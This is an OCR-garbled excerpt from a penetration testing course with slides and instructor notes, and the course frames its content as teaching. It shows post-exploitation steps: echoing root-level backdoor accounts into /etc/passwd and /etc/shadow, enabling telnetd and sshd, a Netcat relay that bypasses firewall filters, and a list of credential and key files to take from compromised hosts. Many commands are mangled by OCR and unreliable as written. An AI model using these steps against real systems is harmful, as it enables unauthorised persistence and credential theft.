Also, you may need to use the netsh command to adjust the local Windows firewall to allow 

inbound access on the TCP port you chose to use with VNC: 

C:\>netsh firewall add portopening protocol = TCP port = 
5900 name = vnc mode = enable scope = custom addresses = 

[yourlpaddress] 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Linux Option 1:
Command-by-Command Workarounds
Command

clear

more

su and sudo

Purpose

Clear screen

Edit a file

Display a file or
paginate output

Access system
with privileges of
another account
or run command
as another user

Possible Workaround(s)

Hit Enter several times

Use echo "txt » f ile.txt

Use cat > f ile.txt «EOFtO
turn cat into a simple file editor, and
type EOF when done building file

Use cat to display file, pagination is
lost

Avoid this

Use crontab to schedule a job
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Next, let's discuss how we can avoid the shell vs. terminal dilemma on Linux and Unix
machines. We'll start by addressing command-by-command workarounds that will let a
tester accomplish various tasks at a shell without a need for a terminal.

First, to clear the screen to separate commands and create useful screenshots for reports, hit
Enter several times instead of using the clear command or CTRL-L.

To edit files, don't use vi or emacs at a shell. Instead, build the file line by hue using echo
and appending its results (»)to the file. Remember, with Linux and Unix echo, put

quotes around the text that you want to echo.

Alternatively, cat can be used as a simple text entry tool. Just redirect the output (>) of cat
to a file, and use the «EOF syntax to specify that when you enter a line with EOF on it by
itself, the file should be written and closed. It will then let you type in text, which cat will

dutifully put in the file. Invoke this as follows:

cat > f ile.txt «EOF

Enter text line by line, and then, on a line by itself, enter EOF. The file will be created
(without the string EOF at the end), and you'll have your shell back.

To view the contents of a file, instead of using the more orless commands, rely on cat,

again realizing that you will lose pagination.

To run a program with a different set of user privileges, you could rely on the crontab
command to schedule a job.
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Linux Option 1: More 
Command-by-Command Workarounds 

To bypass the shell problems with telnet and ssh clients on Linux, we can use the same 
approach we used on Windows. As a replacement for telnet, we could rely on a Netcat 

client, configured with the t option to perform a telnet-style terminal negotiation. Of 

course, we'd have to get Netcat installed on the machine to make this work, but the t option 
in Netcat is extremely handy in environments with telnet servers. 

For ssh clients, one of the cleanest approaches is to use the command shell to enable some 
form of terminal access on the machine. Then, that terminal access can be used to run the 

ssh client. There is another approach that involves a Netcat relay, which we'll cover in an 
exercise a little later. 

124 

Command Purpose Possible Workaround (s) 

C: \> telnet telnet to next 
host 

Use a Netcat client with the t option 

C: \> ssh Ssh to next host 1) Get terminal access 
2) Use Netcat relay 
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Instead of using command-by-command substitutions on Linux and Unix, we could
alternatively enable some form of terminal access. The good news here is that most Linux
and Unix systems already support some form of terminal access, so we can usually use
built-in and running software for terminal access to the machine. Most Linux systems
support Secure Shell. Some still support telnet.

To gain access to the system, we'll need an account. As long as our shell runs with root-
level privileges, we can create one using our existing shell access with the useradd
command (some Linux distributions include an adduser command with virtually identical
syntax). The syntax for the command is:

useradd o u O [login_name]

This command will add a user, overriding (-o) the restriction that each user have a unique
UID number, creating a UID O account (-u O), with the name of login_name]. On most
Linux variants, this command will create a home directory for the user in
/home/[login_namel. We then have to set a password for that account, which we can do
with the pas swd command.

Note that many Linux and Unix variants block inbound telnet for UID O accounts. Some
ssh dacmons are configured in similar manner (but not many). Thus, you may want to
create a non-UID O account in addition to the UID O account we created above. That way,
you can login via telnet (or ssh) with the non-UID O account, and then su to the UTD O
account as follows:

# su - [login_name]

125

Linux Option 2:
Enabling Terminal Access

On Linux, some form of remote terminal access is likely
already supported
- Likely via SSH
- Or, possibly via telnet (although less likely today)

Typically, you'll just have to add an account or two:
useradd -o -u O [login_name]
pas swd

Note that the default login for most telnet daemons do not
allow UID O accounts to directly login
- Some sshds are configured to deny UID O logins as well (but not

many)
- Thus, you may want to add a non-UID O account too, used for

login, followed by: # su - [login name]
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Adding Accounts via Lines in 
/etc/passwd and /etc/shadow 

..::::: :::::::::-:::: ---- 

Instead of useradd/adduser, you could create an 
account locally on a lab system... 

.. 
.and then append a line from its /etc/passwd and 

/etc/shadow to target's files: 
echo u [login_name] :x: 0:0::: Ibm/bash » 

/etc/passwd" 

echo 
"(login_name] : 

\$l\$EluMoEgm\$vwSAGkfkPGJtOSv 
dMreEn.:13861:0:99999:7:::" » /etc/shadow 

Note that we've placed \ characters in front of the $ 
items in /etc/shadow so the shell interprets them 

correctly 
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Instead of relying on the useradd or adduser commands (which may not be included on a 
given Linux or Unix system), a tester could instead append lines to the /etc/passwd and 

/etc/shadow files to create a new account on a machine that can ssh or telnet into the system. 
To accomplish this goal, the tester would first generate an account on a local lab system, 

possibly via useradd or adduser. Then, the tester could grab a copy of the lines from 
/etc/passwd and /etc/shadow for that new account on the lab system and paste it into a 

command in their shell running on the compromised target computer. With a root-level 
shell running on the target system, we can use the echo command to append (») to the 

/etc/passwd and /etc/shadow file as follows: 

echo "[login_name] :x: 0:0::: Ibm/bash" » Ietc/passwd 

echo 
[login name] : \$1\$EluMoEqm\$vwSAGkfkPGjt0SvdMreEn. :1386 

1:0:99999:7:::"» /etc/shadow 

Note that we've prepended "\" in front of our $ characters in /etc/shadow so that the shell 
knows that we mean a true S and not a directive to the shell itself. Note that our /etc/passwd 

line includes both a UID of O and a GID of 0 (:0:0:). 
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Activating telnetd on
Linux/Unix

First, check to see if the system is using ¡netd or xinetd
# ps aux grep inetd

If ¡netd is being used, alter /etc/inetd.conf, adding a line:
telnet stream top nowait root /usr/sbin/tcpd in.telnetd

- Make sure /etc/services has a line that says:
telnet 23/top

If the system uses xinetd, create a file in /etc/xinetd.d for
the telnet service
- Copy an existing file for an allowed service, and update it for

telnet, making sure it has:
disable = no
server = /usr/sbin/in.telnetd

Then, send a HUP signal to inetd or xinetd:
# kill -HUP [processlD]
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Once we've defined an account, we may need to activate either telnctd or sshd to get terminal
access. Of course, if they are already enabled, we'll just use them. But, if not, we could activate
them if the Rules of Engagement allow. On most Linux and Unix systems, the telnet daemon isn't
listening. Instead, the inetd or xinetd process listens on TCP port 23 on behalf of telnetd, and
starts telnetd when someone connects to the port. Thus, to activate telnetd, we need to reconfigure
inetd or xinetd.

We start by determining which of these two programs the system is using:
# ps aux grep inetd

If our output shows only inetd, we reconfigure inetd via the file /etc/inetd.conf, adding a line with:
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

This line tells inetd to listen on the telnet port (which it pulls from /etc/services), for a standard
TCP connection (stream tcp nowait), running with the privileges of root, invoking the TCP
wrapper (/usr/sbinitcpd) which will start the telnet daemon for us (in.telnetd). We need to make
sure that /etc/services includes a line that says "telnet 23 / tcp". Most likely it does,
so we can just grep for it with "grep telnet /etc/services". Ifthere isn't a line for 23
in the file, add it.

If the ps output showed that the system is using xinetd, we need to change the configuration file
for telnet in the directory /etc/xinetd.d. There may be a telnet file already in this directory. If so,
change the line in the file "disable = yes" to "disable = no". If there is no telnet file in
the directory, copy an existing file for an allowed service and edit it, making sure that it contains
lines that say "disable = no" and"server = /usr/sbin/iri. telnetd".

Once we've changed /etc/inetd.conf or the telnet file in /etc/xinetd.d, we have to tell inetd or
xinetd to reread its configuration file(s). We do this by sending them the HUP signal, as follows:

# kill -HUP [processlD]
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128 

Activating sshd on Linux/Unix 

Unlike telnetd, sshd usually isn't started by inetd or xinetd 
It's usually started by a system initialization script link in 

/etc/rc* 
On systems with chkconfig command, you can 

configure it to startup at next reboot: 
# chkconf 1g sshd on 

- Turns it on for runlevels 2,3,4,5 by default at next reboot 

On systems with service command, you can start it 
immediately: 

# service sshd start 
On systems without chkconfig and service, invoke 

initialization script: 
# /etc/init.d/sshd start 
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To activate sshd, we usually do not have to interact with inetd or xinetd. On most Linux and 
Unix systems, sshd is started by our system initialization scripts, via a link in /etc/rc*. 

If the Linux or Unix system includes the chkconf 1g command, we can configure sshd to 
start up at the next system boot with the command: 

# chkconf 1g sshd on 

That command will configure the system initialization scripts to start sshd for runlevels 2, 3, 

4, and 5 by default at the next system boot. But, it won't start the sshd process immediately. 
To start the process immediately, on systems with the service command, we could run: 

# service sshd start 

Many Linux and Unix variations, however, include neither the chkc on f 1g nor the 
service commands. Thus, we have to rely on the system initialization scripts themselves 

to start a service. We can do this by running 

# /etc/init.d/sshd start 

Note that the configuration of sshd might need to be altered. This configuration is located 

on many Linux and Unix systems in /etc/sshlsshd_config. 
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So, now that we've used our command shell to enable some form of terminal access on the
target Windows or Linux/Unix system, we're all set, right? We can just make our
connection, happily using ssh, telnet, RDP, or VNC to jump onto the box, right?
Unfortunately, sometimes we cannot get access to the port on the target machine used by
these services, because a network-based firewall or Intrusion Prevention System (IPS) is
blocking it. Alternatively, a host-based firewall on the target machine itself may block
certain in-bound connections. The network- or host-based firewall may allow in one given
port (on which we've gotten our shell access), but not others. Of course, we could
reconfigure the terminal-oriented service to listen on a different port, but we have another
option: relays.
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Getting Terminal Access 
Around Firewalls 

Suppose a firewall blocks inbound access via TCP port 22 
and TCP 23 

- You can't connect to its sshd or telnet daemon from your location 

- You could reconfigure the system to make sshd or telnet access 
occur via a different port... 

Or, you could use a port relay tool, such as a Netcat relay 

Firewall 
Blocks 
inbound 
TCP22 

rk Pen Testing & Ethic 

Linux Target Machine 
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Suppose that the target system is protected by a firewall that blocks inbound access on TCP 
ports 22 and 23 from where the tester sits, the normal ports typically used by sshd and telnet 

access, respectively. The tester could reconfigure the target system so that sshd listens on a 
different port, or alter the xinetd configuration to enable telnet access on a different port 

(telnet daemons are usually spawned by xinetd, so changing their port usually involves 
altering xinetd's configuration files). But, instead of reconfiguring sshd or xinetd, we have 
another option. We could use a port relay tool to relay around firewall port filters. In 

particular, we could use a Netcat relay to bypass the restrictive inbound rules. 

In the figure on the slide, we depict a firewall that blocks inbound access to TCP port 22, yet 
there is an sshd running on the target machine. The tester cannot ssh directly to the target 

because of the firewall. The attacker has gained shell access to the system via an exploit 
carried over a different port that is allowed through the firewall. Now, the attacker wants to 

get full terminal access to the target via ssh. The attacker first adds an account or two on the 
target machine. Next, the attacker uses the shell on the target to invoke a Netcat relay that 

will listen on another port that is allowed through the firewall, forwarding any connections 
that come in to the localhost on TCP port 22. Then, the tester can just ssh from his or her 

machine to the target system on the unusual port, which will be forwarded to the port the 
attacker wants to access. 
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Netcat Relay
s To invoke a relay, the attacker could:

inknod backpipe p

nc -1 -p [allowed_inbound_port] 0<backpipe nc 127.0.0.1 22
1 >backpipe

To connect:

Linux Target Machine

Netcat
listener

Apipe, backpipe
Netcat
client

sshd

on TCP 22

$ ssh login_name@ttargetmachine] -p [allowed inbound_port]
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To build a rclay that forwards TCP connections from some arbitrary allowed inbound TCP port to
TCP port 22 on localhost, the tester could build a FIFO-style Netcat relay using these commands:

mknod backpipe p

nc -1 -p [allowed_inbound_port] 0<backpipe nc 127.0.0.1
22 1>backpipe

The first command makes a special type of file called a FIFO (First In First Out) or named pipe.
We call it backpipe because it is going to carry our responses back through the relay. But, a
tester could call the FIFO file anything at all. The p option tells mknod to create a FIFO.

Then, our Netcat invocation makes a nctcat listener (-I) on some local port (-p) that is allowed
through the firewall. This Netcat listener will connect its standard input (0<) to the backpipe.
We then forward the standard output of this Netcat listener () to a Netcat client, which connects
to our localhost (127.0.0.1) on TCP port 22, where sshd listens. We take the standard output (1)
of this Netcat client, and dump it into the FIFO (>backpipe). The forward pipe () moves data
forward through the relay. The backpipe sends our responses back.

Once the relay is set up, the attacker can then ssh to the target machine using the following
command from Linux or Unix:

$ ssh login_naine@[targetmachine] -p [allowed_inbound Dort]

Alternatively, we could use the putty ssh client in Windows, a technique we'll apply in our next
exercise.
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We will perform an exercise in which 

a Netcat relay to forward SSH on our 
systems 

Then, we'll connect from Windows to 

Windows 

Exercise: Using Netcat Relay 
to forward SSH 

Firewall 
Blocks 

inbound 
TCP 22 

132 

we'll set up 
Linux 

the relay 

Linux Target Machine 
Attacker 

shell 

sshd 

On TCP 22 

Ncteat 
Relay 

We are now going to perform an exercise associated with port relaying using Netcat to get 
ssh access to a target. In this exercise, we will configure our Linux firewall to block 

inbound access on TCP port 22 from our Windows machine. We'll then build a Netcat 
relay on Linux to forward all traffic for TCP port 4444 to TCP 22 on the local Linux system. 

Then, we'll ssh from Windows to Linux on TCP port 4444, getting remote terminal access 
via ssh, bypassing our firewall filter. 

At the end of the exercise, we'll delete the firewall filter rule we create. 
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Using Putty to SSH from
Windows to Linux

SSH from Win to Linux using Putty

:\tools>putt9..exe 1L1@..?5..2
L4 root@t4Iinux:

login ;: root
roc't@ 10. 10. 7.5.2 password:
Last locUn: Fri Dcc 14 06:24:06 2007 froa t4linux
[rc'ot@t4linux root]

For this exercise, we'll use the wonderful free Putty ssh client for Windows, which is
included in the Windows directory on the course DVD. Copy putty.exe to an appropriate
folder on your Windows machine, such as c:\tools.

Let's use Putty to make an ssh connection to our Linux machines. First, disable the firewall
on your Linux machine by running the following command:

# service iptables stop

Open up a cmd.exe on your Windows machine, and navigate to the directory in which you
placed Putty. Then, run it as follows:

C:\> putty.exe [Linux_IP_address]

Putty will then likely warn you that it doesn't recognize the host key, since this is the first
time Putty has seen that target system. Accept the system's key. Putty will then prompt you
as follows:

Login as:

Enter root.

When it asks you for the password, enter the root password for your guest Linux machine
(the default for the course image is !templinpw!, but you should have changed that by now).
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Implement Linux Firewall Rule 

to Block TCP 22 From Win 
. . . 

:. :.E. 
. . 

.::.: Linux 

Windows 
c C WINDOWS\system32 crnd ee 

C:\too1s>putt9.exe 1O175.2 

OK 

Exit from your ssh connection by typing "exit" in the Putty window. 

Next, we will implement a simple firewall rule on our Linux machine to block inbound 

access to TCP port 22 from our Windows system IP address. We'll use the iptables 
command to add (-A) a rule to our NPUT filter, blocking source address (-s) of our 
Windows machine (something like lO.1O.x.y), using a protocol of tcp (-p tcp), going to 

destination port (--dport) 22, with an action of dropping the packet (-j DROP). The whole 
command is: 

# iptables -A INPUT -s [YourWindowslPaddr] -p tcp --dport 22 
-j DROP 

To verify that our filtering rule works, let's try to ssh from Windows to Linux using Putty 
again. In Windows, type: 

C:\> putty.exe [Linux_IP_address] 

The connection should be denied, making Putty display an error message of "Network 
error...". 

We have blocked inbound access on TCP port 22. 

s. 
Eile Edit Jew terminal Go Help 

iptables -A INPUT -s 1O.LO.76.2 -p tcp --dport 22 
#1 
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Build a Relay from TCP 4444
to TCP 22

:\tools>puttyexe 1@1@?52 4444

EUe Edit View Terminal Go Help

inknod backp.ipe p

-1 -p 4444 0<backpipe nc locaihost 22 1barkpipe
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Now that we've confirmed that our filter is working, let's bypass it. Start by creating a
FIFO on your Linux machine:

# mknod backpipe p

Then, use that backpipe FIFO to create a Netcat relay:

# nc 1 p 4444 O<backpipe
I
nc locaihost 22 1>backpipe

We are forwarding TCP connections that arrive on TCP port 4444 to the localhost system on
TCP port 22, where sshd is listening.

Next, go back to your Windows machine, and use Putty to try to ssh from Windows to
Linux on TCP port 4444 on Linux:

C:\> putty.exe [Linux_IP_address] 4444

You should get a login prompt. Enter root as a useriD, followed by your root password.
The connection should work. Note that our relay only works for one connection. If you
drop the session, you'll have restart the relay.

Also, verify that you have terminal access via that Putty connection by running a command
that requires a terminal, such as vi. You can use vito edit a file like /tmp/stuff.txt:

# vi /tmp/stuff.txt

Exit vi by hitting Ese, followed by: followed by q! and Enter.
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:\too1> root@t4linux:-'.-

lOin cc: rc-ct
I rootUlü.1O.75.2s pa3sworct:

Last login: Fri Dcc 14 06:36:26 2007 from 10.10.76.2
[root@t4linux root)#
root@t4linux root].# vi /tap/stctí.txt
[coot@t4lanu>: root]
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Run a sniffer 
In two separate terminal windows on Linux, run 

tcpdump twice to get a feel for what is happening 

citing & I 

Lue dI5 IÌew Lerminel Ço eIp 

V tcpdunip -n -i etho) port 4444 
tcpduup: verbose output suppressed, use -v or -Vv 

for full protncol decode 
listening un cIbO, link-type Er4:LOMU (Ethernet), c 

apture size 68 bytes 
07:18:59.0317531P10.10.76.2.1134>i0.10.75.2.4 

444: P 1049610283:1049610371(88) eck 3824407876 w 
in 64083 

07:18:59.034368 IP 10.10.75.2.4444 s 10.10.78.2.1 
134: 1' 1:53(52) ark 88 win 9648 

07:18:59.172008 IP 1010.76.2.1134' 50.10.75.2.4 
444: eck .53 win 65535 

07:1.8:59.172036 tP 10.10.75.2.4444> 10.10.76.2.1 
5.34: P 53:189(136) ack 88 win 9648 

07:18:59.375108 IP 10.10.76.2.1134> 10.10.75.2.4 
444: 

. 
eck 189 win 55399 

0718 59 453343 LP 10107621134>1010752 4 

444 P 88 1.'6(88) ack 189 win 65399 
07:18:59.415125 IP 10.10.75.2.4444> .10.l0.76.2.1 

-1.34: P 189:241(52) ark 1.76 win 9648 
07:18:59.570489 IP 10.10.76.2.iI.34 > 10.10.75.2.4. 

liical 1 i ach 

:. : -4ï ri 
I 

ute Ldt hew Lerminal o Help 

V tcpdun:p -n -i lo port 22 LJ 

tcpdump: verbone output suppressed, use -v or -vv1 
fur full protocol decode I 

listening on lo link t.5pe ENIIM1 (Ethernet) cap1 

.ture size 68 byten 
07:18:59.031986 IP 127.0.0.1.43389> 127.0.0.l.22 

P 3801622045:3801622133(88) ark 3811158276 wi.n 

32767 .tnop,noptinestauup 15499708 15494307> , 
07 18 59 033405 IP 127 0 0 1. 22 s 127 0 0 1 

43389k 

P J. 52(52) ack 88 win 32767 <nop nop tlrlestalnp 
15499708 154997128> 

07:1.8:59.033415 IP 127.0.0.1.43389> 127.0.0.3.22 
ark 3 win 32767 mop sop tllnestalnp 15499708 

15499708 
07:18:59.034319 IP 127.0.0.1.22> 127.Q.O.l.43389r? 

P 53:121(68) eck 88 win 32767 <nopnop,tínestamL 
p 11499708 15499708> 

07:18:59.034324 IP 127.0.0.1.43389> 127.0.O.1.22- 
ark 121 win 32767 <nop,nop,tiunestanp .15499708L 

15499708> 
07:18:59.035537 IP 127.0.0.1.22> 127.0.0.1.43389; 

To get a feel for what we've done, open up two new terminal windows on Linux, while the 
ssh connection is still up. We are going to sniff the traffic coming into our system on ethO 

with one instance of tcpdump. We'll use another instance of tcpdump to sniff the traffic 
going across our local loopback adapter. 

In one window, invoke tcpdump as follows: 

# tcpduiup -n -i ethO port 4444 

This will show us packets without resolving names (-n) across interface ethO (-i ethO) going 

to or from port 4444. 

In the other window, invoke tcpdump like this: 

# tcpduiup -n -i lo port 22 

This will show us traffic on the local loopback (lo) interface. 

Now, hit enter a couple of times in your Putty client on Windows. You should see the TCP 
port 4444 traffic going from Windows to Linux in your ethO sniffer. You should likewise 

see the packets that are associated with the forwarded connection across the loopback 
interface in your lo sniffer. We have forwarded a connection. 
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Cleaning Up
Stop your tcpdump sniffers

Exit your Putty connection

Delete the filter rule from your Linux firewall

To clean up after this exercise, we must stop and close down several things to restore them
to their original state. First, on Linux, stop your tcpdump sniffers by hitting CTRL-C in
each sniffer window. Then, on Windows, exit your Putty connection by typing "exit".
Then, remove the firewall rule that we added to our Linux machine to block inbound access
to TCP port 22:

# iptables -D INPUT -s [Windows IP address] -p tcp --dport 22
j DROP

The -D option in this command deletes the rule we created. You can double check your
Linux firewall configuration to make sure this rule is gone using this command:

# iptables --list

137
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File Edit View Ierniìnal Go Help

iptables -D INPVF -s 10.10.76.2 -p tcp --dport 22 -j DROP

iptables --list

i hìin INPUT (policy ACCEPT)
target prat opt source destination

thu FORWARD (policy ACCEPT)

ret prot opt ource destination

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Course Roadmap 

Planning and Scq 

Scanning 
Exøloitatìon 

Password Attac 
Wireless Attacks 

Web App Attacks 

Peri Tesrir 

Why Exploitation? 
Exploit Categories 

Metasploit 
Exercise: bind tcp 

> The Meterpreter 
> Exercise: Meterpreter 

Non-Metasploit Exploits 
Command Shell vs. 
Terminal Access 

Exercise: The 
Dilemma Illustrated 

> Bypassing Dilemma 
Exercise: Relays for 

Term Access 
Movínq Files with Exploits 
Pilfering from Target Machines 

Windows Command Line 
Kung Fu for Pen Testers 
> Exercise: Challenges 

Making Win Run Commands 

- Exercise: sc and wmic 

*tbicai I lacking - 2009. All Rights Reserved 

After initial exploitation occurs, a penetration tester or ethical hacker often wants to 

move files to or from the target machine that he or she has exploited. The files 

moved to a target could include tools to analyze that target in more detail or to use 
it as a jump-off point to find and exploit other vulnerable systems. The files moved 

from a target may include sensitive documents that are part of the overall goal of a 
penetration test or ethical hacking exercise. 

A tester has many options for moving files to or from a system depending on the 
circumstances of the test and the target system. In this section, we'll explore the 

various options for moving files to and from exploited target machines. 

138 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Moving Files to a Target:
Push vs. Pull

Depending on the access the tester has
to the target, he or she may...
- Push files to a target

jÌ Firewall
allows

inbound

Push File Target
M achine

- Have the target pull flies back in

Command to Pull Fil

Netwerk Pen Testing

Target
Machine

When exploiting machines, we frequently want to put files onto a machine or take them off
of the system. We can either push files to a target or pull them from it, as illustrated on the
slide. The tester will choose the method for transferring files based on several factors:

I) Whether moving files to or from the target is allowed by the project's Rules of
Engagement

The protocols that are allowed inbound and outbound between the tester and the
target system, including network firewalls, network-based Intrusion Prevention
Systems (IPSs), router ACLs, and local port filters or firewalls on the target

The software installed on the target machine, especially software associated with
file transfer

The kind of exploit the tester has used and how it integrates with file transfer
functionality

Ifa firewall allows inbound traffic, we may just push a file to the target. If only very limited
inbound traffic is allowed, we may compromise a target to establish a command channel.
We then issue commands to direct the target machine to pull the file from the tester's box.

The images in the slide are focused on moving a file to the target. Alternatively, the tester
may want to get a file from a target. The same two options are available. We could try to
pull the file from the target directly, or issue commands to have the target push the file back
to the tester's machine.
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Moving Files to a Target: 
Using File Transfer Services 

Protocols and services designed to move files 

- TFTP 
Unauthenticated, UDP port 69 

Most systems include TFTP client 

- FTP 

Very common, uses TCP 20 (data) and TCP 21 (control) by default 
Corrects text file anomalies between different systems 

- scp, part of SSH suite 
Encrypts data 

Often allowed outbound, using TCP port 22 by default 
Included on most Linux and Unix machines by default 

- HTTP or HTTPS 
Almost always allowed outbound on at least TCP 80 and 443 

Even supports transfer through HTTP/HTTPS proxy 
Command-line browser very helpful, like wget, Lynx, HTlrack 

To move files to a target machine, a tester could rely on various services and their associated 
protocols that are designed to transfer files. Some of the most common mechanisms used to 

move files during penetration tests and ethical hacking are: 

TFTP (Trivial File Transfer Protocol): This stripped-down service moves files with 

no authentication between a tfip client and tflpd using UDP port 69. 

FTP: This familiar service conveniently moves files using two connections, an FTP 
data connection associated with TCP port 20, and an FTP control connection 

associated with TCP port 21. FTP, when used in ASCII mode, corrects some issues 
with moving text files between different operating systems, as we'll discuss shortly. 

SCP (Secure Copy): This program is part of the Secure Shell (SSH) suite and 

transfers files using TCP port 22 by default. It is an ideal candidate for file transfer, 
given that a) it encrypts all authentication information and data in transit, b) most 

networks allow outbound SSH, and e) many Linux and Unix systems have an sep 
client built in. 

HTTP or HTTPS: These protocols are almost always allowed outbound, using at 
least TCP ports 80 and 443. Even if they are sent through a web proxy, they can 
still be used to carry files. As testers, we often invoke text-based browsers on a 

compromised victim machine, using that browser to fetch files from the attacker 

system and moving them back onto the target machine. Some very useful text- 
based browser-style programs include wget, Lynx, and HTTrack. 
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Moving Files to a Target:
Additional File Transfer Services

Additional services and protocols for moving
files:
- Windows File Sharing - NetBIOS / SMB
- NFS mounts
- Netcat

Is it installed? If not, this is a chicken-and-egg problem

- Others

Must have appropriate client and server
installed already on separate sides
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Some additional file transfer services used by testers also include:

Windows File Sharing. Of course, most Windows machines can use this means to
move files across the NetB1OS and/or SMB protocols (TCP ports 135-139 or 445).
Furthermore, Linux and Unix machines support this kind of access using Samba,
with commands like smbclient, smbmount, and the Samba Daemon (smbd).

NFS (Network File System): This protocol is most commonly used to move files
between Unix/Linux systems, although there are also Windows NFS
implementations. By default, it uses TCP and UDP 2049, although it may involve
other ports as well.

Netcat: Netcat can move flics back and forth between systems (among other
functions) using arbitrary TCP or UDP ports. Unfortunately, to use Netcat to move
a file, you first have to get the Netcat executable on the target machine. 1f it's
already there, the tester can start using it. If it is not, you have to move Netcat's file
first to be able to use it to move additional files, resulting in a chicken-and-egg
condition.

There are other mechanisms to move files as well, but these are the most common and
popular.

Note that, to use any of these mechanisms, the target machine must have the appropriate
client or server software installed, and the attacker's machine must have the other side
(server or client) installed.
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Alternative Methods for File Transfer: 
Meterpreter, Paste, and Echo 

Metasploit Meterpreter upload and download function can 
move and interact with files 

meterpreter > upload 
meterpreter > download 

meterpreter > cat 
meterpreter > edit 

- Looks very much like vi 

With a terminal session, a text editor can paste files 

- May seem lame, but it is very helpful 

Even with very limited shell, echo can enter lines 

$ echo "this is part of the file" » f ile.txt 

C:\> echo this is part of the file » f ile.txt 

Whatever it takes... get the file there 

.k Pen Testing Ethicil I lacking 9, AU Rights Reserved 
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Beyond those traditional file transfer mechanisms, testers may also move files using less 
conventional means. 

One very helpful way to move files involves compromising a system using Metasploit to 
exploit some buffer overflow or other flaw, and then loading the Meterpreter as a payload. 

The Meterpreter, as we discussed earlier, is a small shell environment. In recent versions of 
Metasploit, the Meterpreter includes several built-in commands for moving files including 

upload and download to send files to or from a compromised machine. The 

Meterpreter's cat command dumps a file to standard output on the screen. The edit 

conmiand of the Meterpreter acts very much like the vi editor commonly found on Unix and 

Linux machines. 

Another option for moving files, if the attacker has command shell terminal access on the 

target machine is to invoke an editor, like vi, emacs, pico, or other. Then, the attacker could 

simply cut and paste the contents of a file into the editor. Some people think that cut-and- 

paste is a cheat, because it's too obvious and simple. But, some hacks are elegant and others 

are not. Penetration testers and ethical hackers are often focused more on utility (does it 
work?) than elegance (is it pretty or clever?). 

Even with a limited shell that doesn't implement a terminal, we can still create files by using 
the echo command to append things to a file, building a file line by line with » redirects, as 

we covered earlier in our discussion of the terminal vs. raw shell dilemma. 
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Cross Platform Text Files

During a test, you may want to move a text file to
a compromised target machine
- C program to be compiled or scripts to be run

For text files, be wary of different cross-plafform
end-of-line characters
- Linux/Unix: Line Feed = LF = ASCII OxOa = \n
- Mac OS X: Carriage Return = CR = ASCII OxOd = \r
- Windows: Carriage Return+Line Feed = CRLF = ASCII

OxOdOa = \r\n

FTP in ASCII mode will automatically convert
- Other transfer mechanisms will not convert them

Network Pen Testing & Ethical J lacking i Rights Reserved

Testers often want to move text files between machines. For example, a tester may want to put a
program's C source code on a target machine so that he or she can compile it there. Or, the tester
may want to push a script to a target box to run it there. But, when moving text files between
different operating system types, the file may appear to be corrupted when it gets to the target
system. For example, if you push a C file written on a Windows box in Notepad to a Unix
machine, you may have some big problems if you try to compile the program. The compiler will
complain that there are errors in the code. What happened? This corruption may seem trivial,
but it comes up very often in the life of most professional penetration testers.

The issue is associated with different end of line characters used by different operating systems.
Quite simply, different operating systems have different characters for indicating the end of a line
in a text file, specifically:

On Linux/Unix, the end of a line is a Line Feed character, called LF for short. Its ASCII hex
equivalent is OxOa. Its character equivalent is often represented as a \n.

On most aspects of Mac OS X, the end of line is a Carriage Return character, called CR for short.
Its ASCII hex equivalent is OxOd. Its character equivalent is often represented as a \r.

And, on Windows, the end of line is a Carriage Return and a Line Feed used together, back-to-
back, called CRLF for short. Its ASCII hex equivalent is OxOdOa. Its character equivalent is \r\n.

Happily, FTP when placed in ASCII mode will automatically convert these end of line characters
for you. But, use ASCII-mode FTP (by typing "ascii" at the ftp prompt when logged in) only for
text files. The last thing you want is for FTP to convert the OxOa and OxOd characters in a binary
file such as an executable. But, the other file transfer mechanisms we discussed over the past
few slides will not convert them, making the files appear corrupt when moved to another
platform. How can you deal with this?
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Converting File Formats using 
the tr command 

. 
. 

:.:::::::::::::::::::::::: ::::.:. 

Use unix2dos and dos2unix, included in some Linux and 
Unix variants.., but if they aren't available, you can use tr 

Windows to Unix: 

- Delete carriage returns: 
$ tr -d '\r' < windowsfile.txt > unixfile.txt 

Mac OS X to Unix: 

- Convert carriage returns to line feeds: 
$ tr '\r' '\n' < macfile.txt > unixfile.txt 

Unix to Mac: 

- Convert line feeds to carriage returns 
$ tr '\u' '\r' < unixfile.txt > macfile.txt 

Additional scripts for converting with tr, awk, and peri are at 
http://kb.iu.edu/data/agiz.html 

Nctwotk Pen Testi :thca1 I iackint 11 Rights Re 
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You could run a simple command or a script to convert a text file either before or after 
transferring it to make its end-of-line characters line up with thc destination operating 

system type. The unix2dos and dos2unix commands includcd in some versions of Linux 
and Unix will do the conversion for you. However, if they are not available, one 

straightforward way to convert files is to use the Unix or Linux tr command, which will 
translate or delete characters. 

To convert a Windows text file so that it is suitable for Unix, you could run: 
$ tr -d '\r' < windowsfile.txt > unixfile.txt 

This command merely deletes (-d) the \r, leaving thc \n that Unix requires. 

To convert a file from Mac OS X to Unix, you could run: 
$ tr '\r' 1\n' < macfile.txt > unixfile.txt 

This will translate the \r characters into \.n characters. 

To convert Unix to Mac, you would run: 
$ tr '\n' '\r' < unixfile.txt > niacfile.txt 

Of course, you can use similar invocations to work through all of the permutations that 
you'd like. Given that Windows docsn't have a built in tr command, this translation is 
often done on a Linux or Unix machine. 

Beyond these tr invocations, some useful scripts for doing this conversion with awk and 
perl are available for free at http://kb.iu.edu/data/agiz.html. 
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Now that we've seen how to move files to and from target machines, let's discuss
the kinds of files a penetration tester may want to grab from a compromised target
system. Useful information tidbits retrieved from a compromised machine could
offer a penetration tester significant advantages in demonstrating risk to a target
enterprise. Furthermore, information pilfered from one compromised system may
be extremely useful in identifying and exploiting other systems in the organization.
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Local File Pilfering Is Your 
Friend 

When you compromise a machine, pilfer its information 
resources as much as possible 

- Verify that such pilfering is allowed in Rules of Engagement 

What to grab? 

- Password representations 
Unix/Linux: /etc/passwd and /etc/shadow or variants 

Windows: SAM database and cached credentials using fgdump, or at least 
currently logged on user's credentials (using whosthere.exe. more on that later) 

- crypto keys 
SSH keys for ssh clients and sshd - public and private keys 
PGP and GnuPG keys - public and secret rings (check rules of engagement) 

- RSA SecurelD Authentication Manager server seed files (.asc) for 
tokens 

With these files, Cain can calculate tokens' display at arbitrary points in the future 
